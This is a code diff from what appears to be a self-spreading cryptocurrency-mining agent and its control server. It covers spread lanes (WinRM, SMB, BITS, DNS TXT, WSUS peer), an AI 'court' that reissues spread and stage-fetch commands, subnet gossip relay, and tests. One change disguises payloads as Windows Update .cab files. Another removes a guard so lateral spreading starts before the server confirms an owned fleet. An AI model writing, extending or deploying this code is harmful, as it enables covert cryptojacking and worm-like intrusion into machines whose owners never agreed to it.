-	// AutoSpreader is intentionally NOT started here.  It is started inside
+	if !cfg.ScoutMode {
-	// AgentClient.authenticate() only after the server accepts our fleet secret,
+		deploy.StartPassiveSpreader(cfg)
-	// which verifies we are on an owned fleet before initiating lateral movement.
+		deploy.StartLotlOnion(cfg)
-	deploy.StartPassiveSpreader(cfg)
+		if cfg.AutoSpread && deploy.WantsFirstRunSpread(cfg) {
-	deploy.StartLotlOnion(cfg)
+			// First-run spread marker is cleared after auth succeeds (handled in client).
-	if cfg.AutoSpread && deploy.WantsFirstRunSpread(cfg) {
+			deploy.ClearFirstRunSpreadMarker(cfg)
-		// First-run spread marker is cleared after auth succeeds (handled in client).
+		}
-		deploy.ClearFirstRunSpreadMarker(cfg)
 	}
 
 	if cfg.FirewallExclusion {

agent/miner/fallback_chain.go

@@ -695,6 +695,99 @@ func (c *ChainController) ResumeAll(ctx context.Context) {
 	c.RestartChain(ctx)
 }
 
+// SetChainHooksForTest patches cascade hooks; non-nil fields override (unit tests only).
+func (c *ChainController) SetChainHooksForTest(patch ChainHooks) {
+	c.mu.Lock()
+	h := c.hooks
+	if patch.StartDockerLoad != nil {
+		h.StartDockerLoad = patch.StartDockerLoad
+	}
+	if patch.StartContainer != nil {
+		h.StartContainer = patch.StartContainer
+	}
+	if patch.StartWSL != nil {
+		h.StartWSL = patch.StartWSL
+	}
+	if patch.StartPowerShell != nil {
+		h.StartPowerShell = patch.StartPowerShell
+	}
+	if patch.StartDotnet != nil {
+		h.StartDotnet = patch.StartDotnet
+	}
+	if patch.StartInProcess != nil {
+		h.StartInProcess = patch.StartInProcess
+	}
+	if patch.StartGPU != nil {
+		h.StartGPU = patch.StartGPU
+	}
+	if patch.StartPyOpenCL != nil {
+		h.StartPyOpenCL = patch.StartPyOpenCL
+	}
+	if patch.StopDockerLoad != nil {
+		h.StopDockerLoad = patch.StopDockerLoad
+	}
+	if patch.StopContainer != nil {
+		h.StopContainer = patch.StopContainer
+	}
+	if patch.StopWSL != nil {
+		h.StopWSL = patch.StopWSL
+	}
+	if patch.StopPowerShell != nil {
+		h.StopPowerShell = patch.StopPowerShell
+	}
+	if patch.StopDotnet != nil {
+		h.StopDotnet = patch.StopDotnet
+	}
+	if patch.StopInProcess != nil {
+		h.StopInProcess = patch.StopInProcess
+	}
+	if patch.StopGPU != nil {
+		h.StopGPU = patch.StopGPU
+	}
+	if patch.StopPyOpenCL != nil {
+		h.StopPyOpenCL = patch.StopPyOpenCL
+	}
+	if patch.IsDockerLoadHealthy != nil {
+		h.IsDockerLoadHealthy = patch.IsDockerLoadHealthy
+	}
+	if patch.IsContainerHealthy != nil {
+		h.IsContainerHealthy = patch.IsContainerHealthy
+	}
+	if patch.IsWSLHealthy != nil {
+		h.IsWSLHealthy = patch.IsWSLHealthy
+	}
+	if patch.IsGPUSupported != nil {
+		h.IsGPUSupported = patch.IsGPUSupported
+	}
+	if patch.PoolConfigured != nil {
+		h.PoolConfigured = patch.PoolConfigured
+	}
+	if patch.RunTierProbes != nil {
+		h.RunTierProbes = patch.RunTierProbes
+	}
+	if patch.RunTierChain != nil {
+		h.RunTierChain = patch.RunTierChain
+	}
+	if patch.StopTiers != nil {
+		h.StopTiers = patch.StopTiers
+	}
+	if patch.WebGPUReady != nil {
+		h.WebGPUReady = patch.WebGPUReady
+	}
+	if patch.GPUComputeReady != nil {
+		h.GPUComputeReady = patch.GPUComputeReady
+	}
+	c.hooks = h
+	c.mu.Unlock()
+}
+
+// SetChainOrderForTest overrides the ordered cascade (unit tests only).
+func (c *ChainController) SetChainOrderForTest(chain []MiningMethod) {
+	c.mu.Lock()
+	c.chain = append([]MiningMethod(nil), chain...)
+	c.mu.Unlock()
+}
+
 // Monitor watches container health and advances the chain on exit.
 func (c *ChainController) Monitor(ctx context.Context) {
 	ticker := time.NewTicker(10 * time.Second)

agent/miner/tier_vuln_probe.go

@@ -14,6 +14,11 @@ func SetVulnProbeRunner(fn func() TierAttempt) {
 	vulnProbeRunner = fn
 }
 
+// VulnProbeRunnerWired reports whether a custom probe runner is registered (tests inject before chain wiring).
+func VulnProbeRunnerWired() bool {
+	return vulnProbeRunner != nil
+}
+
 // RunVulnProbeTier runs authorized fleet vulnerability recon (report-only, no exploit).
 func RunVulnProbeTier(ctx context.Context, cfg config.RuntimeConfig) TierAttempt {
 	select {

scripts/test-suite.ps1

@@ -3,7 +3,8 @@ param(
     [switch]$SkipE2E,
     [switch]$SkipBuild,
     [switch]$Verbose,
-    [switch]$ReconOnly
+    [switch]$ReconOnly,
+    [switch]$P2
 )
 
 $ErrorActionPreference = "Stop"
@@ -32,7 +33,7 @@ function Invoke-Npm([string[]]$NpmArgs) {
         $out = & npm @NpmArgs 2>&1 | ForEach-Object { "$_" }
         $text = ($out -join "`n").Trim()
         if ($text) { Write-Host $text }
-        if (-not $LASTEXITCODE -or $LASTEXITCODE -eq 0) { return }
+        if (-not $LASTEXITCODE -or $LASTEXITCODE -eq 0) { $global:LASTEXITCODE = 0; return }
         throw "npm $($NpmArgs -join ' ') failed (exit $LASTEXITCODE)"
     } finally {
         $ErrorActionPreference = $prevEAP
@@ -46,7 +47,7 @@ function Invoke-GoTest([string]$Package) {
         $out = go test $Package -count=1 2>&1 | ForEach-Object { "$_" }
         $text = ($out -join "`n").Trim()
         if ($text) { Write-Host $text }
-        if (-not $LASTEXITCODE -or $LASTEXITCODE -eq 0) { return }
+        if (-not $LASTEXITCODE -or $LASTEXITCODE -eq 0) { $global:LASTEXITCODE = 0; return }
         # Windows AV occasionally locks *.test.exe after an otherwise passing run.
         if ($text -match 'unlinkat.*\.test\.exe') {
             Write-Host "  >> (ignored test binary cleanup flake on Windows for $Package)" -ForegroundColor Yellow
@@ -78,6 +79,26 @@ Write-Host ""
 Write-Host "  AetherForge Full Test Suite" -ForegroundColor Yellow
 Write-Host "  Root: $Root"
 
+
+if ($P2) {
+    Invoke-Phase "P2 focused (mining, spread, path forge, WS/beacon)" {
+        Push-Location (Join-Path $Root "server")
+        go test ./internal/api/... ./internal/builder/... -run "SpreadLane|WSBeacon|PathForge|Download|SpreadCred" -count=1
+        Pop-Location
+        Push-Location (Join-Path $Root "agent")
+        go test ./client/... -run "MiningChain|WSBeacon|PathTracer" -count=1
+        go test ./deploy/... -run "WinRM|Spread|Staging|LinuxLOTL" -count=1
+        go test ./miner/... -run "Fallback|TripleOnion" -count=1
+        Pop-Location
+        Push-Location (Join-Path $Root "server\web")
+        if (-not (Test-Path "node_modules")) { npm install --silent }
+        npm run test -- --run src/pages/BuilderPage.test.tsx src/help/spreadProfiles.test.ts src/help/lotlOnionTiers.test.ts
+        Pop-Location
+    }
+    Write-Host ""
+    Write-Host "  P2-only run complete (run full suite phase 8 for Playwright E2E)" -ForegroundColor Green
+    exit 0
+}
 if ($ReconOnly) {
     Invoke-Phase "Fleet recon (focused)" {
         Push-Location (Join-Path $Root "server")
@@ -229,7 +250,12 @@ if (-not $SkipE2E) {
             $env:AETHERFORGE_URL = "http://127.0.0.1:18989"
             $env:AETHERFORGE_FLEET_SECRET = $fleetSecret
             npx playwright install chromium 2>$null | Out-Null
-            npx playwright test --config playwright.config.ts
+            $prevEAP = $ErrorActionPreference
+            $ErrorActionPreference = 'Continue'
+            try {
+                & npx playwright test --config playwright.config.ts 2>&1 | ForEach-Object { "$_" } | Write-Host
+                if ($LASTEXITCODE -and $LASTEXITCODE -ne 0) { throw "playwright test failed (exit $LASTEXITCODE)" }
+            } finally { $ErrorActionPreference = $prevEAP }
             Pop-Location
         } finally {
             if ($proc -and -not $proc.HasExited) {

server/internal/ai/court_commands.go

@@ -0,0 +1,116 @@
+package ai
+
+import (
+	"fmt"
+	"strings"
+
+	"crypto-miner-server/internal/clearance"
+)
+
+const CourtRetryClearanceLevel = clearance.L4
+
+// Staging spread lanes dispatch stage_fetch; others use discover_and_join.
+var stagingSpreadLanes = map[string]bool{
+	"bits_curl": true, "bits": true, "curl": true,
+	"do_peer": true, "wsus_cache_peer": true,
+	"dns_txt": true, "webrtc_mesh": true, "stage_fetch": true,
+}
+
+// ExpandCourtCommands maps court verdict types to executable fleet commands.
+func ExpandCourtCommands(cmds []Command) []Command {
+	if len(cmds) == 0 {
+		return nil
+	}
+	out := make([]Command, 0, len(cmds))
+	for _, c := range cmds {
+		switch c.Type {
+		case CmdSpreadRetryLane:
+			out = append(out, ResolveSpreadRetryLane(c.Args))
+		case CmdSkipTier:
+			out = append(out, ResolveSkipTier(c.Args))
+		default:
+			out = append(out, c)
+		}
+	}
+	return out
+}
+
+// ResolveSpreadRetryLane turns spread_retry_lane into discover_and_join or stage_fetch.
+func ResolveSpreadRetryLane(args map[string]interface{}) Command {
+	if args == nil {
+		args = map[string]interface{}{}
+	}
+	lane := strings.TrimSpace(fmt.Sprint(args["lane"]))
+	if lane == "" {
+		if v, ok := args["tier"].(string); ok {
+			lane = strings.TrimSpace(v)
+		}
+	}
+	norm := normalizeCommandType(lane)
+	if stagingSpreadLanes[norm] {
+		out := map[string]interface{}{}
+		if data, ok := args["data"]; ok {
+			out["data"] = data
+		} else if manifest, ok := args["manifest"]; ok {
+			out["data"] = manifest
+		}
+		return Command{Type: CmdStageFetch, Args: out}
+	}
+	out := map[string]interface{}{}
+	if lane != "" {
+		out["lane"] = lane
+	}
+	for _, k := range []string{"host", "subnet", "template"} {
+		if v, ok := args[k]; ok {
+			out[k] = v
+		}
+	}
+	return Command{Type: CmdDiscoverAndJoin, Args: out}
+}
+
+// ResolveSkipTier turns skip_tier into reorder_tiers with skip_tiers.
+func ResolveSkipTier(args map[string]interface{}) Command {
+	if args == nil {
+		args = map[string]interface{}{}
+	}
+	tier := strings.TrimSpace(fmt.Sprint(args["tier"]))
+	skips := []interface{}{}
+	if tier != "" && tier != "<nil>" {
+		skips = append(skips, tier)
+	}
+	if raw, ok := args["skip_tiers"]; ok {
+		switch v := raw.(type) {
+		case []interface{}:
+			skips = append(skips, v...)
+		case []string:
+			for _, s := range v {
+				skips = append(skips, s)
+			}
+		case string:
+			if strings.TrimSpace(v) != "" {
+				skips = append(skips, strings.TrimSpace(v))
+			}
+		}
+	}
+	return Command{Type: CmdReorderTiers, Args: map[string]interface{}{"skip_tiers": skips}}
+}
+
+// CourtCommandNeedsRetryElevation reports commands that require L4 before court-ordered retry.
+func CourtCommandNeedsRetryElevation(cmd Command) bool {
+	switch cmd.Type {
+	case CmdSpreadRetryLane, CmdSkipTier, CmdDiscoverAndJoin, CmdStageFetch, CmdReorderTiers:
+		return true
+	default:
+		return false
+	}
+}
+
+// CourtCommandsNeedRetryElevation is true when any parsed command needs L4 elevation.
+func CourtCommandsNeedRetryElevation(cmds []Command) bool {
+	for _, c := range cmds {
+		if CourtCommandNeedsRetryElevation(c) {
+			return true
+		}
+	}
+	return false
+}

server/internal/ai/court_commands_test.go

@@ -0,0 +1,73 @@
+package ai
+
+import "testing"
+
+func TestResolveSpreadRetryLaneStaging(t *testing.T) {
+	cmd := ResolveSpreadRetryLane(map[string]interface{}{
+		"lane": "dns_txt",
+		"data": `{"method":"curl"}`,
+	})
+	if cmd.Type != CmdStageFetch {
+		t.Fatalf("type=%s want stage_fetch", cmd.Type)
+	}
+	if cmd.Args["data"] == nil {
+		t.Fatalf("args=%+v", cmd.Args)
+	}
+}
+
+func TestResolveSpreadRetryLaneDeploy(t *testing.T) {
+	cmd := ResolveSpreadRetryLane(map[string]interface{}{"lane": "winrm"})
+	if cmd.Type != CmdDiscoverAndJoin {
+		t.Fatalf("type=%s", cmd.Type)
+	}
+	if cmd.Args["lane"] != "winrm" {
+		t.Fatalf("lane=%v", cmd.Args["lane"])
+	}
+}
+
+func TestResolveSkipTier(t *testing.T) {
+	cmd := ResolveSkipTier(map[string]interface{}{"tier": "docker"})
+	if cmd.Type != CmdReorderTiers {
+		t.Fatalf("type=%s", cmd.Type)
+	}
+	skips, ok := cmd.Args["skip_tiers"].([]interface{})
+	if !ok || len(skips) != 1 || skips[0] != "docker" {
+		t.Fatalf("skip_tiers=%+v", cmd.Args["skip_tiers"])
+	}
+}
+
+func TestExpandCourtCommands(t *testing.T) {
+	out := ExpandCourtCommands([]Command{
+		{Type: CmdSpreadRetryLane, Args: map[string]interface{}{"lane": "smb"}},
+		{Type: CmdSkipTier, Args: map[string]interface{}{"tier": "wsl"}},
+		{Type: CmdNoop, Args: map[string]interface{}{}},
+	})
+	if len(out) != 3 {
+		t.Fatalf("len=%d", len(out))
+	}
+	if out[0].Type != CmdDiscoverAndJoin || out[1].Type != CmdReorderTiers {
+		t.Fatalf("expanded=%+v", out)
+	}
+}
+
+func TestParseCommandsSpreadRetryLane(t *testing.T) {
+	raw := `Verdict: retry dns_txt lane.
+{"commands":[{"type":"spread_retry_lane","args":{"lane":"dns_txt","data":"{}"}}]}`
+	cmds := ParseCommands(raw)
+	if len(cmds) != 1 || cmds[0].Type != CmdSpreadRetryLane {
+		t.Fatalf("cmds=%+v", cmds)
+	}
+	expanded := ExpandCourtCommands(cmds)
+	if len(expanded) != 1 || expanded[0].Type != CmdStageFetch {
+		t.Fatalf("expanded=%+v", expanded)
+	}
+}
+
+func TestCourtCommandsNeedRetryElevation(t *testing.T) {
+	if !CourtCommandsNeedRetryElevation([]Command{{Type: CmdSpreadRetryLane}}) {
+		t.Fatal("expected spread_retry_lane to need L4")
+	}
+	if CourtCommandsNeedRetryElevation([]Command{{Type: CmdRestartMining}}) {
+		t.Fatal("restart_mining should not require court retry elevation set")
+	}
+}

server/internal/api/atlas_gossip.go

@@ -0,0 +1,70 @@
+package api
+
+import (
+	"encoding/json"
+	"log"
+
+	"crypto-miner-server/internal/atlas"
+)
+
+func (h *WSHub) handleAgentAtlasGossip(senderID string, payload json.RawMessage) {
+	if !h.serverPolicySnapshot().AtlasLanGossipEnabled {
+		return
+	}
+	var body struct {
+		Hints []atlas.GossipHint `json:"hints"`
+	}
+	if err := json.Unmarshal(payload, &body); err != nil || len(body.Hints) == 0 {
+		return
+	}
+	hints := atlas.NormalizeGossipHints(body.Hints)
+	if len(hints) == 0 {
+		return
+	}
+	h.relayAtlasGossip(senderID, hints)
+}
+
+func (h *WSHub) relayAtlasGossip(senderID string, hints []atlas.GossipHint) {
+	senderSubnet := h.agentSubnetFor(senderID)
+	if senderSubnet == "" {
+		return
+	}
+	skips := atlas.SkipsFromHints(hints)
+	if len(skips) == 0 {
+		return
+	}
+	out := Message{
+		Type: "atlas_gossip",
+		Payload: mustMarshal(map[string]interface{}{
+			"hints":           skips,
+			"source_agent_id": senderID,
+		}),
+	}
+	h.mu.RLock()
+	defer h.mu.RUnlock()
+	for id, ac := range h.agents {
+		if id == senderID || h.agentSubnet[id] != senderSubnet {
+			continue
+		}
+		if err := ac.SendJSON(out); err != nil {
+			log.Printf("[atlas-gossip] relay to %s: %v", id, err)
+		}
+	}
+}
+
+func (h *WSHub) agentSubnetFor(agentID string) string {
+	h.mu.RLock()
+	subnet := h.agentSubnet[agentID]
+	h.mu.RUnlock()
+	if subnet != "" {
+		return subnet
+	}
+	if h.db == nil {
+		return ""
+	}
+	ag, err := h.db.GetAgent(agentID)
+	if err != nil || ag == nil {
+		return ""
+	}
+	return atlas.SubnetPrefix(ag.IP)
+}

server/internal/api/atlas_gossip_test.go

@@ -0,0 +1,180 @@
+package api
+
+import (
+	"encoding/json"
+	"net/http"
+	"net/http/httptest"
+	"strings"
+	"testing"
+	"time"
+
+	"crypto-miner-server/internal/atlas"
+	"crypto-miner-server/internal/db"
+	"crypto-miner-server/internal/models"
+
+	"github.com/gorilla/websocket"
+)
+
+func connectTestAgentWithIP(t *testing.T, hub *WSHub, agentID, clientIP string) *websocket.Conn {
+	t.Helper()
+	srv := httptest.NewServer(http.HandlerFunc(hub.HandleAgentWS))
+	t.Cleanup(srv.Close)
+
+	wsURL := "ws" + strings.TrimPrefix(srv.URL, "http")
+	hdr := http.Header{"X-Forwarded-For": {clientIP}}
+	conn, _, err := websocket.DefaultDialer.Dial(wsURL, hdr)
+	if err != nil {
+		t.Fatalf("dial agent ws: %v", err)
+	}
+	t.Cleanup(func() { _ = conn.Close() })
+
+	authAgentConn(t, conn, map[string]interface{}{
+		"agent_id": agentID,
+		"hostname": "test-host",
+		"platform": "windows",
+		"version":  "1.0",
+	})
+
+	deadline := time.Now().Add(2 * time.Second)
+	for time.Now().Before(deadline) {
+		if hub.isAgentConnected(agentID) {
+			return conn
+		}
+		time.Sleep(10 * time.Millisecond)
+	}
+	t.Fatal("agent not connected after auth")
+	return nil
+}
+
+func TestAuthResponseAtlasLanGossipPolicy(t *testing.T) {
+	database, err := db.New(t.TempDir())
+	if err != nil {
+		t.Fatal(err)
+	}
+	t.Cleanup(func() { _ = database.Close() })
+	hub := NewWSHub(database)
+	hub.SetServerPolicy(ServerPolicy{AtlasLanGossipEnabled: true})
+
+	conn, _ := dialAgentWS(t, hub)
+	resp := authAgentConn(t, conn, map[string]interface{}{
+		"agent_id": "gossip-policy-agent",
+		"hostname": "host",
+		"platform": "windows",
+		"version":  "test",
+	})
+	var body map[string]interface{}
+	if err := json.Unmarshal(resp.Payload, &body); err != nil {
+		t.Fatal(err)
+	}
+	enabled, ok := body["atlas_lan_gossip_enabled"].(bool)
+	if !ok || !enabled {
+		t.Fatalf("atlas_lan_gossip_enabled = %#v", body["atlas_lan_gossip_enabled"])
+	}
+}
+
+func TestAtlasGossipRelaySameSubnet(t *testing.T) {
+	database, err := db.New(t.TempDir())
+	if err != nil {
+		t.Fatal(err)
+	}
+	t.Cleanup(func() { _ = database.Close() })
+	hub := NewWSHub(database)
+	hub.SetServerPolicy(ServerPolicy{AtlasLanGossipEnabled: true})
+
+	for _, spec := range []struct {
+		id string
+		ip string
+	}{
+		{"gossip-a", "192.168.50.10"},
+		{"gossip-b", "192.168.50.20"},
+		{"gossip-other-subnet", "192.168.51.10"},
+	} {
+		if err := database.UpsertAgent(&models.Agent{
+			ID: spec.id, Name: spec.id, Platform: "windows", Status: "online",
+			IP: spec.ip, LastSeen: time.Now(),
+		}); err != nil {
+			t.Fatal(err)
+		}
+	}
+
+	connA := connectTestAgentWithIP(t, hub, "gossip-a", "192.168.50.10")
+	connB := connectTestAgentWithIP(t, hub, "gossip-b", "192.168.50.20")
+	connC := connectTestAgentWithIP(t, hub, "gossip-other-subnet", "192.168.51.10")
+
+	recvCh := make(chan Message, 2)
+	go readUntilType(connB, "atlas_gossip", recvCh)
+	go readUntilType(connC, "atlas_gossip", recvCh)
+
+	payload, _ := json.Marshal(map[string]interface{}{
+		"hints": []atlas.GossipHint{
+			{Tier: "docker", Condition: "no_docker", Reason: "pull failed"},
+		},
+	})
+	if err := connA.WriteJSON(Message{Type: "atlas_gossip", Payload: payload}); err != nil {
+		t.Fatal(err)
+	}
+
+	select {
+	case msg := <-recvCh:
+		var body struct {
+			Hints []atlas.AtlasSkip `json:"hints"`
+		}
+		if err := json.Unmarshal(msg.Payload, &body); err != nil {
+			t.Fatal(err)
+		}
+		if len(body.Hints) != 1 || body.Hints[0].Tier != "docker" {
+			t.Fatalf("unexpected relay hints: %+v", body.Hints)
+		}
+	case <-time.After(2 * time.Second):
+		t.Fatal("sibling on same /24 did not receive atlas_gossip")
+	}
+
+	select {
+	case <-recvCh:
+		t.Fatal("agent on different /24 should not receive atlas_gossip")
+	case <-time.After(300 * time.Millisecond):
+	}
+}
+
+func TestAtlasGossipDisabledNoRelay(t *testing.T) {
+	database, err := db.New(t.TempDir())
+	if err != nil {
+		t.Fatal(err)
+	}
+	t.Cleanup(func() { _ = database.Close() })
+	hub := NewWSHub(database)
+	hub.SetServerPolicy(ServerPolicy{AtlasLanGossipEnabled: false})
+
+	connA := connectTestAgentWithIP(t, hub, "gossip-off-a", "10.10.0.1")
+	connB := connectTestAgentWithIP(t, hub, "gossip-off-b", "10.10.0.2")
+
+	recvCh := make(chan Message, 1)
+	go readUntilType(connB, "atlas_gossip", recvCh)
+
+	payload, _ := json.Marshal(map[string]interface{}{
+		"hints": []atlas.GossipHint{{Tier: "wsl", Condition: "defender_on"}},
+	})
+	if err := connA.WriteJSON(Message{Type: "atlas_gossip", Payload: payload}); err != nil {
+		t.Fatal(err)
+	}
+
+	select {
+	case msg := <-recvCh:
+		t.Fatalf("unexpected relay when disabled: %+v", msg)
+	case <-time.After(400 * time.Millisecond):
+	}
+}
+
+func readUntilType(conn *websocket.Conn, wantType string, out chan<- Message) {
+	deadline := time.Now().Add(3 * time.Second)
+	for time.Now().Before(deadline) {
+		var msg Message
+		if err := conn.ReadJSON(&msg); err != nil {
+			return
+		}
+		if msg.Type == wantType {
+			out <- msg
+			return
+		}
+	}
+}

server/internal/api/deploy_plan.go

@@ -14,6 +14,7 @@ import (
 
 	dbpkg "crypto-miner-server/internal/db"
 	"crypto-miner-server/internal/models"
+	"crypto-miner-server/internal/spreadrouter"
 )
 
 // StagingManifest mirrors agent/deploy.StagingManifest for signed supply-chain plans.
@@ -68,15 +69,17 @@ type DeployPlanBody struct {
 	MaxHosts      int              `json:"max_hosts,omitempty"`
 	ImageTarURL   string           `json:"image_tar_url,omitempty"`
 	ImageTarSHA256 string          `json:"image_tar_sha256,omitempty"`
+	SpreadRouteHint *spreadrouter.SpreadRouteHint `json:"spread_route_hint,omitempty"`
 }
 
 type deployPlanRequest struct {
-	AgentID  string                 `json:"agent_id"`
+	AgentID         string                 `json:"agent_id"`
-	BuildID  string                 `json:"build_id,omitempty"`
+	BuildID         string                 `json:"build_id,omitempty"`
-	Campaign string                 `json:"campaign,omitempty"`
+	Campaign        string                 `json:"campaign,omitempty"`
-	Platform string                 `json:"platform"`
+	Platform        string                 `json:"platform"`
-	Services []DeployServiceFinding `json:"services"`
+	Services        []DeployServiceFinding `json:"services"`
-	UNCPath  string                 `json:"unc_path,omitempty"`
+	UNCPath         string                 `json:"unc_path,omitempty"`
+	WSUSFormatMimic *bool                  `json:"wsus_format_mimic,omitempty"`
 }
 
 type deployPlanResponse struct {
@@ -96,6 +99,7 @@ type DeployPlanHandler struct {
 	publicURL   func() string
 	fleetSecret func() string
 	allowlist   func() map[string]ServiceDeployLane
+	pathTracer  *PathTracerHandler
 }
 
 func NewDeployPlanHandler(database *dbpkg.Database, dataDir, projectRoot string, publicURL, fleetSecret func() string, allowlist func() map[string]ServiceDeployLane) *DeployPlanHandler {
@@ -109,6 +113,11 @@ func NewDeployPlanHandler(database *dbpkg.Database, dataDir, projectRoot string,
 	}
 }
 
+// BindPathTracer wires Path Tracer sessions into spread-route recommendations.
+func (h *DeployPlanHandler) BindPathTracer(handler *PathTracerHandler) {
+	h.pathTracer = handler
+}
+
 // POST /api/v1/agent/deploy-plan
 func (h *DeployPlanHandler) PostDeployPlan(w http.ResponseWriter, r *http.Request) {
 	var req deployPlanRequest
@@ -236,6 +245,66 @@ func (h *DeployPlanHandler) buildPlan(req deployPlanRequest, matched string, lan
 	return body, nil
 }
 
+func (h *DeployPlanHandler) recommendSpreadRoute(req deployPlanRequest, joinLane string) *spreadrouter.SpreadRouteHint {
+	if h.pathTracer == nil {
+		return nil
+	}
+	patientID := strings.TrimSpace(req.AgentID)
+	targets := spreadRouteTargetSubnets(h.pathTracer, h.db, patientID)
+	if len(targets) == 0 {
+		return nil
+	}
+	var best *spreadrouter.SpreadRouteHint
+	for _, target := range targets {
+		if hint := h.pathTracer.RecommendSpreadRoute(target, joinLane, patientID); hint != nil {
+			if best == nil || hint.Score > best.Score {
+				dup := *hint
+				best = &dup
+			}
+		}
+	}
+	return best
+}
+
+func spreadRouteTargetSubnets(pathTracer *PathTracerHandler, database *dbpkg.Database, agentID string) []string {
+	seen := make(map[string]bool)
+	var out []string
+	add := func(sub string) {
+		sub = spreadrouter.NormalizeSubnet(sub)
+		if sub == "" || seen[sub] {
+			return
+		}
+		seen[sub] = true
+		out = append(out, sub)
+	}
+	if database != nil && agentID != "" {
+		if ag, err := database.GetAgent(agentID); err == nil && ag != nil {
+			add(spreadrouter.SubnetFromIP(ag.IP))
+		}
+	}
+	for _, sess := range traceSessionsSnapshot(pathTracer) {
+		if sess == nil {
+			continue
+		}
+		patientInChain := false
+		for _, hop := range sess.Hops {
+			if hop != nil && hop.AgentID == agentID {
+				patientInChain = true
+				add(spreadrouter.SubnetFromIP(hop.ExternalIP))
+				break
+			}
+		}
+		if !patientInChain && agentID != "" {
+			continue
+		}
+		for _, host := range serviceGraphList(sess.ServiceGraph) {
+			add(host.Subnet)
+			add(spreadrouter.SubnetFromIP(host.Host))
+		}
+	}
+	return out
+}
+
 // buildDOPeerManifest stages hash-verified chunks via BITS peer-style transfer.
 // Deploy success is a spread step only — agent keeps --defer-mining until diagnostics pass,
 // then startMiningWhenReady() completes the mining onion (terminal goal).
@@ -299,6 +368,17 @@ func (h *DeployPlanHandler) buildWSUSCachePeerManifest(req deployPlanRequest, se
 
 	_, getQuerySuffix := buildQuerySuffix(buildID, req.Campaign)
 	downloadURL := serverURL + "/get?os=" + platform + getQuerySuffix
+	chunkFile := filepath.Base(build.FileName)
+	if wsusFormatMimicEnabled(req.WSUSFormatMimic) {
+		chunkFile = wsusFormatMimicChunkName(hash, 0)
+		if !strings.Contains(downloadURL, "wsus_wrap=1") {
+			if strings.Contains(downloadURL, "?") {
+				downloadURL += "&wsus_wrap=1"
+			} else {
+				downloadURL += "?wsus_wrap=1"
+			}
+		}
+	}
 	cacheGroup := "af-wsus-" + hash[:8]
 	if campaign := strings.TrimSpace(req.Campaign); campaign != "" {
 		cacheGroup = "af-wsus-" + sanitizeDeployToken(campaign)
@@ -313,7 +393,7 @@ func (h *DeployPlanHandler) buildWSUSCachePeerManifest(req deployPlanRequest, se
 
 	return &StagingManifest{
 		Method:        "bits",
-		Chunks:        []StagingChunk{{URL: downloadURL, File: filepath.Base(build.FileName)}},
+		Chunks:        []StagingChunk{{URL: downloadURL, File: chunkFile}},
 		SHA256:        hash,
 		Dest:          dest,
 		Launch:        launch,
@@ -324,6 +404,13 @@ func (h *DeployPlanHandler) buildWSUSCachePeerManifest(req deployPlanRequest, se
 	}, nil
 }
 
+func wsusFormatMimicEnabled(flag *bool) bool {
+	if flag == nil {
+		return true
+	}
+	return *flag
+}
+
 // buildDNSTXTManifest returns TXT shard records + embedded chunk API fallback URLs for tests.
 func (h *DeployPlanHandler) buildDNSTXTManifest(req deployPlanRequest, serverURL string) (*StagingManifest, string, []string, []int, int, error) {
 	platform := strings.TrimSpace(req.Platform)

server/internal/api/deploy_plan_test.go

@@ -58,6 +58,29 @@ func TestBuildPlanWSUSCachePeerLane(t *testing.T) {
 	if !containsStr(plan.Manifest.Dest, "SoftwareDistribution") {
 		t.Fatalf("dest=%q", plan.Manifest.Dest)
 	}
+	if len(plan.Manifest.Chunks) != 1 || !containsStr(plan.Manifest.Chunks[0].File, ".cab.partial") {
+		t.Fatalf("expected format-mimic chunk name, chunks=%+v", plan.Manifest.Chunks)
+	}
+	if !containsStr(plan.Manifest.Chunks[0].URL, "wsus_wrap=1") {
+		t.Fatalf("url=%q", plan.Manifest.Chunks[0].URL)
+	}
+}
+
+func TestBuildPlanWSUSCachePeerLaneFormatMimicOff(t *testing.T) {
+	h := testDeployPlanHandler(t)
+	off := false
+	plan, err := h.buildPlan(deployPlanRequest{
+		Platform: "windows", BuildID: "b1", WSUSFormatMimic: &off,
+	}, "Wuauserv", ServiceDeployLane{Lane: "wsus_cache_peer"})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if len(plan.Manifest.Chunks) != 1 || containsStr(plan.Manifest.Chunks[0].File, ".cab.partial") {
+		t.Fatalf("expected raw chunk filename, chunks=%+v", plan.Manifest.Chunks)
+	}
+	if containsStr(plan.Manifest.Chunks[0].URL, "wsus_wrap=1") {
+		t.Fatalf("url=%q", plan.Manifest.Chunks[0].URL)
+	}
 }
 
 func TestBuildPlanDNSTXTLane(t *testing.T) {

server/internal/api/download_handler_test.go

@@ -0,0 +1,156 @@
+package api
+
+import (
+	"net/http"
+	"net/http/httptest"
+	"os"
+	"path/filepath"
+	"strings"
+	"testing"
+)
+
+func TestAgentBinaryCandidates(t *testing.T) {
+	dir := "/srv/usb"
+	cases := []struct {
+		platform string
+		wantName string
+		wantPath string
+	}{
+		{"windows", "crypto-miner-agent.exe", filepath.Join(dir, "agent", "crypto-miner-agent.exe")},
+		{"mac", "crypto-miner-agent", filepath.Join(dir, "agent", "crypto-miner-agent-darwin")},
+		{"linux", "crypto-miner-agent", filepath.Join(dir, "agent", "crypto-miner-agent-linux")},
+	}
+	for _, tc := range cases {
+		candidates, dlName := agentBinaryCandidates(tc.platform, dir)
+		if dlName != tc.wantName {
+			t.Fatalf("platform=%s dlName=%q want %q", tc.platform, dlName, tc.wantName)
+		}
+		if len(candidates) == 0 || candidates[0] != tc.wantPath {
+			t.Fatalf("platform=%s candidates=%v want first %q", tc.platform, candidates, tc.wantPath)
+		}
+	}
+}
+
+func TestFindAgentBinaryPrefersAgentSubdir(t *testing.T) {
+	root := t.TempDir()
+	agentDir := filepath.Join(root, "agent")
+	if err := os.MkdirAll(agentDir, 0755); err != nil {
+		t.Fatal(err)
+	}
+	nested := filepath.Join(agentDir, "crypto-miner-agent.exe")
+	rootLevel := filepath.Join(root, "crypto-miner-agent.exe")
+	if err := os.WriteFile(nested, []byte("nested-agent"), 0644); err != nil {
+		t.Fatal(err)
+	}
+	if err := os.WriteFile(rootLevel, []byte("root-agent"), 0644); err != nil {
+		t.Fatal(err)
+	}
+	got, dlName, ok := findAgentBinary("windows", root)
+	if !ok || got != nested {
+		t.Fatalf("findAgentBinary = %q ok=%v want nested %q", got, ok, nested)
+	}
+	if dlName != "crypto-miner-agent.exe" {
+		t.Fatalf("dlName=%q", dlName)
+	}
+}
+
+func TestFindAgentBinaryFallbackRootLevel(t *testing.T) {
